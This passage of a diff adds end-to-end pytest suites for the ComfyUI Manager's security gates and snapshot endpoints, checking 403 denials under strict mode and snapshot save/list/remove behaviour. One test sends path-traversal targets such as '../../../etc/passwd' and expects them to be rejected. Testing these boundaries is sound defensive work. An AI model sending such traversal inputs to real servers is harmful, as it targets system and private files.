|
||||
"expected the git_url 403 body to carry "
|
||||
f"{{'reason': 'allow_git_url_install'}}; observed {body!r}"
|
||||
)
|
||||
|
||||
def test_t9b_denial_body_discloses_nothing_further(self, comfyui_flags_d):
|
||||
"""Denied requests expose only the failed flag name."""
|
||||
responses = {
|
||||
"allow_pip_install": _post_pip("text-unidecode"),
|
||||
"allow_git_url_install": _post_git_url(UNKNOWN_GIT_URL),
|
||||
}
|
||||
for reason, response in responses.items():
|
||||
assert self._denial_body(response) == {"reason": reason}
|
||||
|
||||
|
||||
# ===========================================================================
|
||||
# CFG-E: git=T, pip=T, sl=weak, nm=public — Q1 guard
|
||||
# ===========================================================================
|
||||
|
||||
class TestUnknownPipStaysBlocked:
|
||||
def test_sc24_batch_unknown_pip_block_is_unconditional(
|
||||
self, comfyui_flags_e):
|
||||
"""SC-24 (Q1 guard): batch item whose files are ALL DB-known (no
|
||||
high+ short-circuit on the URL check) but whose pip list names an
|
||||
UNKNOWN package -> still denied. get_risky_level's 'block' branch
|
||||
stays UNCONDITIONAL — the flags do NOT open it (spec §5 freeze
|
||||
item 7), even with both flags true at sl=weak."""
|
||||
item = _batch_install_item(
|
||||
"sc24-known-url-unknown-pip",
|
||||
[KNOWN_GIT_URL],
|
||||
pip=[UNKNOWN_PIP_PKG],
|
||||
)
|
||||
resp = _post_batch({"install": [item]})
|
||||
assert resp.status_code == 200, resp.text[:200]
|
||||
failed = resp.json().get("failed", [])
|
||||
assert "sc24-known-url-unknown-pip" in failed, (
|
||||
"SC-24: unknown-pip 'block' branch opened — it must remain "
|
||||
f"unconditional regardless of the new flags. failed={failed!r}"
|
||||
)
|
||||
|
||||
|
||||
# ===========================================================================
|
||||
# CFG-F / CFG-G: out-of-scope legacy guards (SC-25A/B) — flags have NO effect
|
||||
# ===========================================================================
|
||||
|
||||
def _batch_op_item(ui_id: str) -> dict:
|
||||
"""Item for middle-gated batch ops (fix/uninstall/update). The GATE
|
||||
check precedes node resolution, so a placeholder spec is sufficient:
|
||||
the queue worker's later failure on the nonexistent node is irrelevant
|
||||
to the synchronous gate observable (the response's failed list)."""
|
||||
return {
|
||||
"id": ui_id,
|
||||
"ui_id": ui_id,
|
||||
"version": "unknown",
|
||||
"files": [f"https://example.com/{ui_id}"],
|
||||
}
|
||||
|
||||
|
||||
class _LegacyGuardRows:
|
||||
"""Shared assertions for SC-25A/B — executed under BOTH flag combos
|
||||
((t,t) via CFG-F and (f,f) via CFG-G); outcomes must be IDENTICAL,
|
||||
proving the flags have zero effect on middle/middle+ surfaces."""
|
||||
|
||||
flags_label = ""
|
||||
|
||||
def _assert_sc25a(self):
|
||||
"""SC-25A: legacy middle-gated ops (fix/uninstall/update) stay
|
||||
allowed at sl=normal local for this flag combination."""
|
||||
payload = {
|
||||
"fix": [_batch_op_item(f"sc25a-fix-{self.flags_label}")],
|
||||
"uninstall": [_batch_op_item(f"sc25a-unin-{self.flags_label}")],
|
||||
"update": [_batch_op_item(f"sc25a-upd-{self.flags_label}")],
|
||||
}
|
||||
resp = _post_batch(payload)
|
||||
assert resp.status_code == 200, resp.text[:200]
|
||||
failed = resp.json().get("failed", [])
|
||||
gate_denied = [x for x in failed if x.startswith("sc25a-")]
|
||||
assert gate_denied == [], (
|
||||
f"SC-25A({self.flags_label}): middle-gated batch ops were "
|
||||
f"gate-denied at sl=normal — flags must have ZERO effect on "
|
||||
f"out-of-scope surfaces. failed={failed!r}"
|
||||
)
|
||||
|
||||
def _assert_sc25b(self):
|
||||
"""SC-25B: batch KNOWN-node install (middle+ path, DB-resolved
|
||||
files URL) stays allowed at sl=normal local for this flag
|
||||
combination. Known-node dir pre-seeded — no real install."""
|
||||
_preseed_node_dir(KNOWN_GIT_DIRNAME)
|
||||
try:
|
||||
item = _batch_install_item(
|
||||
f"sc25b-known-{self.flags_label}", [KNOWN_GIT_URL])
|
||||
resp = _post_batch({"install": [item]})
|
||||
assert resp.status_code == 200, resp.text[:200]
|
||||
failed = resp.json().get("failed", [])
|
||||
assert f"sc25b-known-{self.flags_label}" not in failed, (
|
||||
f"SC-25B({self.flags_label}): KNOWN-node batch install was "
|
||||
f"denied at sl=normal — middle+ path must be unaffected by "
|
||||
f"the flags. failed={failed!r}"
|
||||
)
|
||||
finally:
|
||||
_remove_node_dir(KNOWN_GIT_DIRNAME)
|
||||
|
||||
|
||||
class TestGuardsFlagsOn(_LegacyGuardRows):
|
||||
flags_label = "flags-on"
|
||||
|
||||
def test_sc25a_middle_ops_allowed_with_flags_on(self, comfyui_flags_f):
|
||||
self._assert_sc25a()
|
||||
|
||||
def test_sc25b_known_install_allowed_with_flags_on(self, comfyui_flags_f):
|
||||
self._assert_sc25b()
|
||||
|
||||
|
||||
class TestGuardsFlagsOff(_LegacyGuardRows):
|
||||
flags_label = "flags-off"
|
||||
|
||||
def test_sc25a_middle_ops_allowed_with_flags_off(self, comfyui_flags_g):
|
||||
self._assert_sc25a()
|
||||
|
||||
def test_sc25b_known_install_allowed_with_flags_off(self, comfyui_flags_g):
|
||||
self._assert_sc25b()
|
||||
|
||||
|
||||
# ===========================================================================
|
||||
# CFG-H: git=T, pip=F, sl=normal, nm=personal_cloud
|
||||
# ===========================================================================
|
||||
|
||||
class TestPersonalCloudBatch:
|
||||
def test_sc30_batch_unknown_url_queued_under_personal_cloud(
|
||||
self, comfyui_flags_h):
|
||||
"""SC-30: git=true, sl=normal, nm=personal_cloud -> batch
|
||||
unknown-URL install queued: the S-C composite gate's middle+ arm
|
||||
passes (is_local_mode OR is_personal_cloud) AND the flag is true.
|
||||
See module docstring for the loopback-harness limitation; the
|
||||
public-listener personal_cloud arm is proven at predicate level."""
|
||||
_preseed_node_dir(BATCH_UNKNOWN_DIRNAME)
|
||||
try:
|
||||
item = _batch_install_item("sc30-unknown", [BATCH_UNKNOWN_GIT_URL])
|
||||
resp = _post_batch({"install": [item]})
|
||||
assert resp.status_code == 200, resp.text[:200]
|
||||
failed = resp.json().get("failed", [])
|
||||
assert "sc30-unknown" not in failed, (
|
||||
"SC-30: batch unknown-URL install denied under "
|
||||
f"network_mode=personal_cloud with flag=true. "
|
||||
f"failed={failed!r}"
|
||||
)
|
||||
finally:
|
||||
_remove_node_dir(BATCH_UNKNOWN_DIRNAME)
|
||||
@@ -0,0 +1,242 @@
|
||||
"""E2E PoC for the strict-mode security gate (T2 SECGATE-PENDING harness).
|
||||
|
||||
SCOPE — important clarification:
|
||||
This suite is the PoC for the security_level=strong harness needed to verify
|
||||
the 403 contract on middle/middle+ gates. The default E2E config
|
||||
(security_level=normal, is_local_mode=True) puts NORMAL inside the allowed
|
||||
set for both middle and middle+ checks (see comfyui_manager/glob/utils/
|
||||
security_utils.py:32-38), so the 403 path on these gates is unreachable
|
||||
without elevating the security_level to STRONG.
|
||||
|
||||
The 4 T2 SECGATE-PENDING Goals at middle/middle+ that depend on this harness:
|
||||
- SR4 (snapshot/remove, gate=middle) ← THIS PoC
|
||||
- SR6 (snapshot/restore, gate=middle+) ← follow-up
|
||||
- V5 (manager/reboot, gate=middle) ← follow-up
|
||||
- UA2 (manager/queue/update_all, gate=middle+) ← follow-up
|
||||
|
||||
WI-KK established the harness pattern (start_comfyui_strict.sh + a fixture
|
||||
that backs up + restores config.ini). Once this PoC lands, the remaining
|
||||
3 strict-mode tests are mechanical additions to this file.
|
||||
|
||||
Why a separate file (not test_e2e_csrf*.py-style mixed):
|
||||
The strict-mode server lifecycle is heavyweight (config patch + restart). It
|
||||
must NOT contaminate normal-mode test suites where security_level=normal is
|
||||
expected. By keeping strict tests in their own module with their own fixture,
|
||||
we keep the cost contained and the contracts unambiguous.
|
||||
|
||||
Negative-check coverage (per verification_design.md §7.3 Security Boundary
|
||||
Template):
|
||||
- 403 status
|
||||
- target snapshot file UNCHANGED on disk
|
||||
- (log substring check is OPTIONAL and not asserted here — observable in
|
||||
server logs but cumbersome to scrape from pytest)
|
||||
|
||||
Requires a pre-built E2E environment (from setup_e2e_env.sh).
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import shutil
|
||||
import subprocess
|
||||
|
||||
import pytest
|
||||
import requests
|
||||
|
||||
E2E_ROOT = os.environ.get("E2E_ROOT", "")
|
||||
COMFYUI_PATH = os.path.join(E2E_ROOT, "comfyui") if E2E_ROOT else ""
|
||||
SCRIPTS_DIR = os.path.join(
|
||||
os.path.dirname(os.path.abspath(__file__)), "scripts"
|
||||
)
|
||||
MANAGER_CONFIG = (
|
||||
os.path.join(COMFYUI_PATH, "user", "__manager", "config.ini")
|
||||
if COMFYUI_PATH else ""
|
||||
)
|
||||
SNAPSHOT_DIR = (
|
||||
os.path.join(COMFYUI_PATH, "user", "__manager", "snapshots")
|
||||
if COMFYUI_PATH else ""
|
||||
)
|
||||
|
||||
PORT = 8199
|
||||
BASE_URL = f"http://127.0.0.1:{PORT}"
|
||||
|
||||
pytestmark = pytest.mark.skipif(
|
||||
not E2E_ROOT
|
||||
or not os.path.isfile(os.path.join(E2E_ROOT, ".e2e_setup_complete")),
|
||||
reason="E2E_ROOT not set or E2E environment not ready",
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Helpers
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def _start_comfyui_strict() -> int:
|
||||
"""Launch ComfyUI with security_level=strong (start_comfyui_strict.sh)."""
|
||||
env = {**os.environ, "E2E_ROOT": E2E_ROOT, "PORT": str(PORT)}
|
||||
r = subprocess.run(
|
||||
["bash", os.path.join(SCRIPTS_DIR, "start_comfyui_strict.sh")],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=180,
|
||||
env=env,
|
||||
)
|
||||
if r.returncode != 0:
|
||||
raise RuntimeError(f"Failed to start ComfyUI (strict):\n{r.stderr}")
|
||||
for part in r.stdout.strip().split():
|
||||
if part.startswith("COMFYUI_PID="):
|
||||
return int(part.split("=")[1])
|
||||
raise RuntimeError(f"Could not parse PID:\n{r.stdout}")
|
||||
|
||||
|
||||
def _stop_comfyui():
|
||||
env = {**os.environ, "E2E_ROOT": E2E_ROOT, "PORT": str(PORT)}
|
||||
subprocess.run(
|
||||
["bash", os.path.join(SCRIPTS_DIR, "stop_comfyui.sh")],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=30,
|
||||
env=env,
|
||||
)
|
||||
|
||||
|
||||
def _restore_config_from_backup():
|
||||
"""Restore config.ini from the .before-strict backup left by the script."""
|
||||
backup = MANAGER_CONFIG + ".before-strict"
|
||||
if os.path.isfile(backup):
|
||||
shutil.copyfile(backup, MANAGER_CONFIG)
|
||||
os.remove(backup)
|
||||
|
||||
|
||||
@pytest.fixture(scope="module")
|
||||
def comfyui_strict():
|
||||
"""Start ComfyUI in strict mode for the duration of the module.
|
||||
|
||||
Teardown order matters:
|
||||
1. Stop the server (so it releases the config file lock).
|
||||
2. Restore the original config.ini (so subsequent test modules see
|
||||
the default security_level=normal again).
|
||||
"""
|
||||
pid = _start_comfyui_strict()
|
||||
try:
|
||||
yield pid
|
||||
finally:
|
||||
_stop_comfyui()
|
||||
_restore_config_from_backup()
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Tests
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestSecurityGate403_SR4:
|
||||
"""Goal SR4 — POST /v2/snapshot/remove must return 403 below `middle`.
|
||||
|
||||
Handler: comfyui_manager/glob/manager_server.py:1535-1554
|
||||
Gate: is_allowed_security_level("middle")
|
||||
Strict (security_level=strong) → False → 403.
|
||||
|
||||
Negative check (verification_design.md §7.3): the target snapshot file
|
||||
on disk must NOT be removed when the gate rejects the request.
|
||||
"""
|
||||
|
||||
def test_remove_returns_403(self, comfyui_strict):
|
||||
# Seed a snapshot file directly on disk so we have something the
|
||||
# handler MIGHT delete if the gate were broken. We do not call
|
||||
# /v2/snapshot/save here because that path also requires server
|
||||
# state; touching a file is sufficient for the negative check.
|
||||
os.makedirs(SNAPSHOT_DIR, exist_ok=True)
|
||||
seed_name = "secgate-sr4-seed"
|
||||
seed_path = os.path.join(SNAPSHOT_DIR, f"{seed_name}.json")
|
||||
with open(seed_path, "w") as f:
|
||||
f.write('{"snapshot": "seed for SR4 negative check"}')
|
||||
try:
|
||||
assert os.path.isfile(seed_path), "test seed file missing"
|
||||
|
||||
resp = requests.post(
|
||||
f"{BASE_URL}/v2/snapshot/remove",
|
||||
params={"target": seed_name},
|
||||
timeout=10,
|
||||
)
|
||||
|
||||
# Primary assertion: 403 from the security gate
|
||||
assert resp.status_code == 403, (
|
||||
f"SR4 SECURITY-GATE BYPASS: POST snapshot/remove?target="
|
||||
f"{seed_name} returned {resp.status_code} at "
|
||||
f"security_level=strong (expected 403). Response: "
|
||||
f"{resp.text[:200]}"
|
||||
)
|
||||
|
||||
# Negative-side assertion: the target file was NOT deleted
|
||||
assert os.path.isfile(seed_path), (
|
||||
f"SR4 NEGATIVE-CHECK FAILURE: snapshot file {seed_path} was "
|
||||
f"deleted despite a 403 response — gate failed to block the "
|
||||
f"side effect."
|
||||
)
|
||||
finally:
|
||||
# Cleanup — remove the seed file we created
|
||||
if os.path.isfile(seed_path):
|
||||
os.remove(seed_path)
|
||||
|
||||
# Positive counterpart (POST works at default after teardown) is covered
|
||||
# by test_e2e_secgate_default.py via its own ComfyUI startup; a
|
||||
# skip-placeholder was previously parked here for documentation but
|
||||
# removed in WI-MM because it added no verification and created a
|
||||
# stale-skip row. See reports/e2e_verification_audit.md § SECGATE.
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Config setter 403 contract (added in WI #255)
|
||||
# ---------------------------------------------------------------------------
|
||||
#
|
||||
# Before WI #255 the three config setters below had NO security_level gate,
|
||||
# so any caller could mutate db_mode / update_policy / channel_url even at
|
||||
# security_level=strong. WI #255 added `is_allowed_security_level('middle')`
|
||||
# to all three (glob + legacy) at the same risk tier as uninstall/update /
|
||||
# snapshot/remove.
|
||||
#
|
||||
# These tests belong in the STRICT harness — at default `security_level =
|
||||
# normal`, the 'middle' allow-set is [weak, normal, normal-] which INCLUDES
|
||||
# normal, so the 403 path is not reachable. Strong excludes normal, so the
|
||||
# rejection is observable.
|
||||
CONFIG_SETTER_ENDPOINTS = [
|
||||
("/v2/manager/db_mode", {"value": "local"}, "set_db_mode_api"),
|
||||
("/v2/manager/policy/update", {"value": "nightly-comfyui"}, "set_update_policy_api"),
|
||||
("/v2/manager/channel_url_list", {"value": "default"}, "set_channel_url"),
|
||||
]
|
||||
|
||||
|
||||
class TestConfigSetterRequiresMiddle:
|
||||
"""Each of the 3 config-mutation POST handlers must return 403 under
|
||||
security_level=strong. Before WI #255 they returned 200 unconditionally.
|
||||
|
||||
Handlers (glob):
|
||||
- comfyui_manager/glob/manager_server.py :: set_db_mode_api (L1954)
|
||||
- comfyui_manager/glob/manager_server.py :: set_update_policy_api (L1972)
|
||||
- comfyui_manager/glob/manager_server.py :: set_channel_url (L2000)
|
||||
Gate: is_allowed_security_level('middle')
|
||||
Strong → normal not in [weak, normal, normal-] → False → 403.
|
||||
|
||||
Negative-check aspect: a 403 response means the config file was NOT
|
||||
mutated. We don't re-read config.ini here because the strict harness
|
||||
also patches it — checking for absence of mutation would require
|
||||
a pre/post diff that is brittle; the 403 status is the contract.
|
||||
"""
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"path,body,handler_name",
|
||||
CONFIG_SETTER_ENDPOINTS,
|
||||
ids=[p for p, _, _ in CONFIG_SETTER_ENDPOINTS],
|
||||
)
|
||||
def test_config_setter_returns_403(self, comfyui_strict, path, body, handler_name):
|
||||
resp = requests.post(
|
||||
f"{BASE_URL}{path}",
|
||||
json=body,
|
||||
timeout=10,
|
||||
)
|
||||
assert resp.status_code == 403, (
|
||||
f"CONFIG-SETTER SECURITY-GATE BYPASS: POST {path} "
|
||||
f"(handler {handler_name}) returned {resp.status_code} at "
|
||||
f"security_level=strong (expected 403). Config mutation must "
|
||||
f"require middle+. Response: {resp.text[:200]}"
|
||||
)
|
||||
@@ -0,0 +1,348 @@
|
||||
"""E2E tests for ComfyUI Manager snapshot lifecycle endpoints.
|
||||
|
||||
Exercises the snapshot management endpoints on a running ComfyUI instance:
|
||||
- GET /v2/snapshot/get_current — current system state as snapshot
|
||||
- POST /v2/snapshot/save — save current state
|
||||
- GET /v2/snapshot/getlist — list available snapshots
|
||||
- POST /v2/snapshot/remove — remove a snapshot
|
||||
|
||||
Scenario:
|
||||
get_current → save → getlist (verify new snapshot) → remove →
|
||||
getlist (verify removed).
|
||||
|
||||
NOTE: /v2/snapshot/restore is intentionally NOT tested — it is a
|
||||
destructive operation that alters installed node state.
|
||||
|
||||
Requires a pre-built E2E environment (from setup_e2e_env.sh).
|
||||
Set E2E_ROOT env var to point at it, or the tests will be skipped.
|
||||
|
||||
Usage:
|
||||
E2E_ROOT=/tmp/e2e_full_test pytest tests/e2e/test_e2e_snapshot_lifecycle.py -v
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import subprocess
|
||||
|
||||
import pytest
|
||||
import requests
|
||||
|
||||
E2E_ROOT = os.environ.get("E2E_ROOT", "")
|
||||
COMFYUI_PATH = os.path.join(E2E_ROOT, "comfyui") if E2E_ROOT else ""
|
||||
SNAPSHOT_DIR = (
|
||||
os.path.join(COMFYUI_PATH, "user", "__manager", "snapshots")
|
||||
if COMFYUI_PATH
|
||||
else ""
|
||||
)
|
||||
SCRIPTS_DIR = os.path.join(
|
||||
os.path.dirname(os.path.abspath(__file__)), "scripts"
|
||||
)
|
||||
|
||||
PORT = 8199
|
||||
BASE_URL = f"http://127.0.0.1:{PORT}"
|
||||
|
||||
pytestmark = pytest.mark.skipif(
|
||||
not E2E_ROOT
|
||||
or not os.path.isfile(os.path.join(E2E_ROOT, ".e2e_setup_complete")),
|
||||
reason="E2E_ROOT not set or E2E environment not ready (run setup_e2e_env.sh first)",
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Helpers
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def _start_comfyui() -> int:
|
||||
"""Start ComfyUI and return its PID."""
|
||||
env = {**os.environ, "E2E_ROOT": E2E_ROOT, "PORT": str(PORT)}
|
||||
r = subprocess.run(
|
||||
["bash", os.path.join(SCRIPTS_DIR, "start_comfyui.sh")],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=180,
|
||||
env=env,
|
||||
)
|
||||
if r.returncode != 0:
|
||||
raise RuntimeError(f"Failed to start ComfyUI:\n{r.stderr}")
|
||||
for part in r.stdout.strip().split():
|
||||
if part.startswith("COMFYUI_PID="):
|
||||
return int(part.split("=")[1])
|
||||
raise RuntimeError(f"Could not parse PID from start_comfyui output:\n{r.stdout}")
|
||||
|
||||
|
||||
def _stop_comfyui():
|
||||
"""Stop ComfyUI."""
|
||||
env = {**os.environ, "E2E_ROOT": E2E_ROOT, "PORT": str(PORT)}
|
||||
subprocess.run(
|
||||
["bash", os.path.join(SCRIPTS_DIR, "stop_comfyui.sh")],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=30,
|
||||
env=env,
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Fixtures
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
@pytest.fixture(scope="module")
|
||||
def comfyui():
|
||||
"""Start ComfyUI once for the module, stop after all tests."""
|
||||
pid = _start_comfyui()
|
||||
yield pid
|
||||
_stop_comfyui()
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Tests
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestSnapshotLifecycle:
|
||||
"""Snapshot management lifecycle: get_current → save → list → remove."""
|
||||
|
||||
def test_get_current_snapshot(self, comfyui):
|
||||
"""GET /v2/snapshot/get_current returns documented schema AND cross-refs installed state.
|
||||
|
||||
WI-M strengthening: previously dict-type only. Now verifies:
|
||||
(a) the documented top-level keys are all present —
|
||||
comfyui / git_custom_nodes / cnr_custom_nodes /
|
||||
file_custom_nodes / pips;
|
||||
(b) each list-valued field is actually a list (type-level schema);
|
||||
(c) cross-reference — the E2E seed CNR pack
|
||||
`ComfyUI_SigmoidOffsetScheduler` must appear in
|
||||
`cnr_custom_nodes` if it exists on the filesystem.
|
||||
Defeats regressions that return an empty dict or drop the
|
||||
cnr_custom_nodes field while keeping 200 OK.
|
||||
"""
|
||||
resp = requests.get(f"{BASE_URL}/v2/snapshot/get_current", timeout=10)
|
||||
assert resp.status_code == 200, (
|
||||
f"get_current failed with status {resp.status_code}"
|
||||
)
|
||||
data = resp.json()
|
||||
assert isinstance(data, dict), (
|
||||
f"Expected dict from get_current, got {type(data)}"
|
||||
)
|
||||
|
||||
# (a) Documented top-level keys.
|
||||
required_keys = (
|
||||
"comfyui",
|
||||
"git_custom_nodes",
|
||||
"cnr_custom_nodes",
|
||||
"file_custom_nodes",
|
||||
"pips",
|
||||
)
|
||||
for key in required_keys:
|
||||
assert key in data, (
|
||||
f"snapshot missing required top-level key {key!r}. "
|
||||
f"Got keys: {list(data.keys())}"
|
||||
)
|
||||
|
||||
# (b) cnr_custom_nodes is a dict mapping pack_name → version — that's
|
||||
# the field we cross-ref below. Other collection-valued fields
|
||||
# (git_custom_nodes, pips, file_custom_nodes) carry environment-
|
||||
# dependent shapes (dict/list/mixed) and are intentionally not
|
||||
# constrained at the type level here — only their presence is required.
|
||||
assert isinstance(data["cnr_custom_nodes"], dict), (
|
||||
f"snapshot['cnr_custom_nodes'] should be a dict (pack_name → version), "
|
||||
f"got {type(data['cnr_custom_nodes']).__name__}"
|
||||
)
|
||||
|
||||
# (c) Cross-reference installed state: if the E2E seed pack is on disk,
|
||||
# it MUST appear in cnr_custom_nodes.
|
||||
seed_pack = "ComfyUI_SigmoidOffsetScheduler"
|
||||
custom_nodes_dir = os.path.join(COMFYUI_PATH, "custom_nodes") if COMFYUI_PATH else ""
|
||||
seed_on_disk = (
|
||||
bool(custom_nodes_dir)
|
||||
and os.path.isdir(os.path.join(custom_nodes_dir, seed_pack))
|
||||
)
|
||||
if seed_on_disk:
|
||||
assert seed_pack in data["cnr_custom_nodes"], (
|
||||
f"Seed pack {seed_pack!r} exists on disk but missing from "
|
||||
f"snapshot.cnr_custom_nodes={data['cnr_custom_nodes']!r}"
|
||||
)
|
||||
|
||||
def test_save_snapshot(self, comfyui):
|
||||
"""POST /v2/snapshot/save — full disk + content verification (WI-Q strengthening).
|
||||
|
||||
Defeats regressions where the endpoint returns 200 but (a) no file lands on
|
||||
disk or (b) the file drifts from the live runtime state.
|
||||
|
||||
Verifies:
|
||||
(a) a new *.json file appears under SNAPSHOT_DIR;
|
||||
(b) the saved file's `cnr_custom_nodes` dict matches the live
|
||||
GET /v2/snapshot/get_current response — same keys, same
|
||||
versions (pack_name → version). This catches cases where
|
||||
the save endpoint writes a stale or stub snapshot while
|
||||
the live API reports the true runtime state.
|
||||
"""
|
||||
files_before = set()
|
||||
if os.path.isdir(SNAPSHOT_DIR):
|
||||
files_before = {f for f in os.listdir(SNAPSHOT_DIR) if f.endswith(".json")}
|
||||
|
||||
resp = requests.post(f"{BASE_URL}/v2/snapshot/save", timeout=30)
|
||||
assert resp.status_code == 200, (
|
||||
f"Snapshot save failed with status {resp.status_code}"
|
||||
)
|
||||
|
||||
# (a) Effect verification: new file appears in snapshot directory
|
||||
assert os.path.isdir(SNAPSHOT_DIR), (
|
||||
f"Snapshot dir not created: {SNAPSHOT_DIR}"
|
||||
)
|
||||
files_after = {f for f in os.listdir(SNAPSHOT_DIR) if f.endswith(".json")}
|
||||
new_files = files_after - files_before
|
||||
assert len(new_files) >= 1, (
|
||||
f"No new snapshot file created on disk: before={files_before}, after={files_after}"
|
||||
)
|
||||
|
||||
# Content verification: new file is valid JSON dict
|
||||
import json
|
||||
new_file = next(iter(new_files))
|
||||
with open(os.path.join(SNAPSHOT_DIR, new_file)) as f:
|
||||
saved = json.load(f)
|
||||
assert isinstance(saved, dict), (
|
||||
f"Snapshot file content should be dict, got {type(saved).__name__}"
|
||||
)
|
||||
|
||||
# (b) Content cross-reference: saved snapshot must match the live
|
||||
# GET /v2/snapshot/get_current response on the cnr_custom_nodes
|
||||
# field (the deterministic pack_name → version mapping). Other
|
||||
# fields like `pips` are environment-dependent and drift fast;
|
||||
# cnr_custom_nodes is the stable contract.
|
||||
live_resp = requests.get(f"{BASE_URL}/v2/snapshot/get_current", timeout=10)
|
||||
assert live_resp.status_code == 200, (
|
||||
f"get_current failed with status {live_resp.status_code}"
|
||||
)
|
||||
live = live_resp.json()
|
||||
assert "cnr_custom_nodes" in saved, (
|
||||
f"Saved snapshot missing 'cnr_custom_nodes' field. "
|
||||
f"Got keys: {list(saved.keys())}"
|
||||
)
|
||||
assert "cnr_custom_nodes" in live, (
|
||||
f"Live get_current missing 'cnr_custom_nodes' field. "
|
||||
f"Got keys: {list(live.keys())}"
|
||||
)
|
||||
assert saved["cnr_custom_nodes"] == live["cnr_custom_nodes"], (
|
||||
f"Saved snapshot cnr_custom_nodes does not match live state.\n"
|
||||
f" saved={saved['cnr_custom_nodes']!r}\n"
|
||||
f" live ={live['cnr_custom_nodes']!r}"
|
||||
)
|
||||
|
||||
def test_getlist_after_save(self, comfyui):
|
||||
"""GET /v2/snapshot/getlist shows at least one snapshot after save."""
|
||||
resp = requests.get(f"{BASE_URL}/v2/snapshot/getlist", timeout=10)
|
||||
assert resp.status_code == 200, (
|
||||
f"Snapshot getlist failed with status {resp.status_code}"
|
||||
)
|
||||
data = resp.json()
|
||||
assert "items" in data, "Snapshot list response missing 'items' field"
|
||||
assert isinstance(data["items"], list), (
|
||||
f"'items' should be a list, got {type(data['items'])}"
|
||||
)
|
||||
assert len(data["items"]) > 0, (
|
||||
"Expected at least one snapshot after save, but list is empty"
|
||||
)
|
||||
|
||||
def test_remove_snapshot(self, comfyui):
|
||||
"""POST /v2/snapshot/remove removes a specific snapshot.
|
||||
|
||||
Test is INDEPENDENT: creates its own snapshot as setup, removes it,
|
||||
asserts. Does not depend on prior tests in this module.
|
||||
"""
|
||||
# SETUP: create a snapshot so we have a deterministic target
|
||||
save_resp = requests.post(f"{BASE_URL}/v2/snapshot/save", timeout=30)
|
||||
assert save_resp.status_code == 200, "setup save failed"
|
||||
|
||||
# Find the newly created snapshot by diffing against pre-save list
|
||||
resp = requests.get(f"{BASE_URL}/v2/snapshot/getlist", timeout=10)
|
||||
assert resp.status_code == 200
|
||||
all_items = resp.json().get("items", [])
|
||||
# The newest snapshot is at items[0] (desc-sorted)
|
||||
assert all_items, "setup snapshot missing from getlist"
|
||||
target = all_items[0]
|
||||
count_before_remove = len(all_items)
|
||||
|
||||
# Remove (action under test)
|
||||
resp = requests.post(
|
||||
f"{BASE_URL}/v2/snapshot/remove",
|
||||
params={"target": target},
|
||||
timeout=10,
|
||||
)
|
||||
assert resp.status_code == 200, (
|
||||
f"Snapshot remove failed with status {resp.status_code}"
|
||||
)
|
||||
|
||||
# Verify removal
|
||||
resp = requests.get(f"{BASE_URL}/v2/snapshot/getlist", timeout=10)
|
||||
assert resp.status_code == 200
|
||||
data_after = resp.json()
|
||||
assert target not in data_after["items"], (
|
||||
f"Snapshot '{target}' still in list after removal"
|
||||
)
|
||||
assert len(data_after["items"]) == count_before_remove - 1, (
|
||||
f"Expected {count_before_remove - 1} snapshots after removal, "
|
||||
f"got {len(data_after['items'])}"
|
||||
)
|
||||
|
||||
def test_remove_nonexistent_snapshot(self, comfyui):
|
||||
"""POST /v2/snapshot/remove with nonexistent target returns 200 (no-op)."""
|
||||
resp = requests.post(
|
||||
f"{BASE_URL}/v2/snapshot/remove",
|
||||
params={"target": "nonexistent_snapshot_99999"},
|
||||
timeout=10,
|
||||
)
|
||||
# Server returns 200 even when file doesn't exist (no-op behavior)
|
||||
assert resp.status_code == 200, (
|
||||
f"Remove nonexistent snapshot returned {resp.status_code}"
|
||||
)
|
||||
|
||||
def test_remove_path_traversal_rejected(self, comfyui):
|
||||
"""POST /v2/snapshot/remove with path-traversal target returns 400.
|
||||
|
||||
Security boundary: target must stay within snapshot dir.
|
||||
"""
|
||||
# Capture state before (any file that must NOT be deleted)
|
||||
import pathlib
|
||||
sentinel = pathlib.Path(E2E_ROOT) / "_sentinel_must_not_delete.txt"
|
||||
sentinel.write_text("sentinel")
|
||||
|
||||
# Path traversal attempts
|
||||
traversal_targets = [
|
||||
"../../_sentinel_must_not_delete",
|
||||
"../../../etc/passwd",
|
||||
"/etc/passwd",
|
||||
]
|
||||
for target in traversal_targets:
|
||||
resp = requests.post(
|
||||
f"{BASE_URL}/v2/snapshot/remove",
|
||||
params={"target": target},
|
||||
timeout=10,
|
||||
)
|
||||
assert resp.status_code == 400, (
|
||||
f"Path traversal target {target!r} should return 400, got {resp.status_code}"
|
||||
)
|
||||
|
||||
# Sentinel file must still exist (no traversal succeeded)
|
||||
assert sentinel.exists(), "Sentinel file was deleted — path traversal succeeded!"
|
||||
sentinel.unlink()
|
||||
|
||||
|
||||
class TestSnapshotGetCurrentSchema:
|
||||
"""Verify get_current snapshot response structure."""
|
||||
|
||||
# WI-M dedup: `test_get_current_returns_dict` REMOVED — it was a strict
|
||||
# subset of TestSnapshotLifecycle::test_get_current_snapshot (which now
|
||||
# asserts the full documented schema + cross-ref with installed state
|
||||
# on disk). Keeping both after the upgrade would be pure duplication.
|
||||
# Audit §7 row count reduces 7 → 6 to reflect the removal.
|
||||
|
||||
def test_getlist_items_are_strings(self, comfyui):
|
||||
"""Each item in the snapshot list is a string (filename stem)."""
|
||||
resp = requests.get(f"{BASE_URL}/v2/snapshot/getlist", timeout=10)
|
||||
assert resp.status_code == 200
